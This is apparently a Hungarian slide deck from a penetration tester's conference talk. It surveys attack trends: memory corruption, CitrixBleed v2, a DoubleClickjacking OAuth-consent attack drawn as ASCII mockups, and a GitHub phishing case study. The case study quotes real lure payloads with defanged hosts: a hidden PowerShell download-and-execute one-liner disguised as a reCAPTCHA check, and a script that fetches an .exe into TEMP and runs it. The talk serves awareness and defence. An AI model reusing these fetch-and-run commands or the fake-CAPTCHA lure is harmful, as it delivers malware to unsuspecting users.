$ whoami

• CISSP, OSCP, GWAPT, SISE
• Silent Signal társalapító
• pentester, toolmaker

Amikor indult a Silent Signal

• 0x10 éve
• a mai 20+ kollégához képest csak négyen
• random memóriakorrupciós bugok mindenfelé: MS09-050 SMB RCE
• Clickjacking támadások: Twitter worm (2009. február)
• Social Engineering: RSA SecurID elleni phishing támadás (2011)

Memóriakorrupció

• stack overflow, heap overflow, double free, …
• bekövetkezés valószínűsége: memory-safe compiled nyelvek – Rust, Go
• kihasználás hatása: sandboxing – konténerizáció, virtualizáció, AppArmor

CitrixBleed v2

• Citrix, Ivanti, etc.: jó kis secure doboz security célra, ugye?
• Név eredete: HeartBleed (CVE-2014-0160)
• Watchtowr kiváló blogpostja
• CVE-2025-5777
• Insufficient input validation leading to memory overread when the NetScaler is configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server

DoubleClickjacking

O.G. Clickjacking

Frame-eket látsz

┌────────────────────────────────────────────────┐
│ ┌───────────────────────────────────────┬────┐ │
│ │https://example.com/                   │ Go │ │
│ └───────────────────────────────────────┴────┘ │
│ ┌────────────────────────────────────────────┐ │
│ │ *   *** **   ***                           │ │
│ │ *   * * *  * * *                           │ │
│ │ *** *** **** ***                           │ │
│ ├──────────┬─────────────────────────────────┤ │
│ │          │ Lorem ipsum dolor sit amet,     │ │
│ │ ▶ menü1  │ consectetur adipiscing elit. In │ │
│ │ ▶ menü2  │ blandit, mi vulputate tristique │ │
│ │ ▶ menü3  │ gravida, ante erat euismod      │ │
│ │ ▶ menü4  │ purus, et tincidunt lectus erat │ │
│ │ ▶ menü5  │ in velit. Mauris elit nibh,     │ │
│ │          │ lobortis et fringilla sed,      │ │
│ │          │ consequat vitae elit. In        │ │
│ └──────────┴─────────────────────────────────┘ │
└────────────────────────────────────────────────┘

DoubleClickjacking

A színpad

┌────────────────────────────────────────────────┐
│ ┌───────────────────────────────────────┬────┐ │
│ │https://tamado.hu/                     │ Go │ │
│ └───────────────────────────────────────┴────┘ │
│ ┌────────────────────────────────────────────┐ │
│ │                                            │ │
│ │                                            │ │
│ │                                            │ │
│ │                                            │ │
│ │             ╔════════════════╗             │ │
│ │             ║  Kattints ide  ║             │ │
│ │             ╚════════════════╝             │ │
│ │                                            │ │
│ │                                            │ │
│ │                                            │ │
│ │                                            │ │
│ │                                            │ │
│ └────────────────────────────────────────────┘ │
└────────────────────────────────────────────────┘

DoubleClickjacking

Új ablak nyílik

┌────────────────────────────────────────────────┐
│┌──────────────────────────────────────────────┐│
││https://tamado.hu/                            ││
│├──────────────────────────────────────────────┤│
││                                              ││
││                                              ││
││    Ellenőriznünk kell, hogy ember vagy-e.    ││
││       Kattints duplán az alábbi gombra:      ││
││                                              ││
││                                              ││
││                                              ││
││                                              ││
││              ╔══════════════════╗            ││
││              ║ Nem vagyok robot ║            ││
││              ╚══════════════════╝            ││
││                                              ││
││                                              ││
│└──────────────────────────────────────────────┘│
└────────────────────────────────────────────────┘

DoubleClickjacking

Mindeközben a háttérben

┌────────────────────────────────────────────────┐
│ ┌───────────────────────────────────────┬────┐ │
│ │https://celpont.hu/oauth/authorize     │ Go │ │
│ └───────────────────────────────────────┴────┘ │
│ ┌────────────────────────────────────────────┐ │
│ │                                            │ │
│ │  Az alábbi gombbal elfogadod, hogy a       │ │
│ │  Támadó Alkalmazás a felhasználói fiókod   │ │
│ │  nevében hozzáférjen a következő           │ │
│ │  objektumokhoz: (minden objektum)          │ │
│ │                                            │ │
│ │                                            │ │
│ │              ╔═══════════════╗             │ │
│ │              ║   Elfogadom   ║             │ │
│ │              ╚═══════════════╝             │ │
│ │                                            │ │
│ │                                            │ │
│ └────────────────────────────────────────────┘ │
└────────────────────────────────────────────────┘

GitHub esettanulmány

GitHub esettanulmány

GitHub esettanulmány

GitHub esettanulmány

GitHub esettanulmány

  powershell.exe -w hidden
    -Command "iex (iwr '[https://]2x[.]si/DR1.txt').Content"
    # "✅ ''I am not a robot - reCAPTCHA Verification ID: 93752"
						

						
$webClient = New-Object System.Net.WebClient
$url1 = "[https://]github-scanner[.]com/l6E.exe"
$filePath1 = "$env:TEMP\SysSetup.exe"
$webClient.DownloadFile($url1, $filePath1)
Start-Process -FilePath  $env:TEMP\SysSetup.exe
						

• Találós kérdés: MotW és/vagy SmartScreen miért nem avatkozott közbe?
• https://ianspence.com/blog/2024-09/github-email-hijack/

Mit várok a jövőtől?

• Vendorokat, akik hibás termékekkel látják el a piacot
• Még furább szokásokra nevelt felhasználókat
• Egyre összetettebb támadói modelleket és célkörnyezeteket

Köszönöm a figyelmet!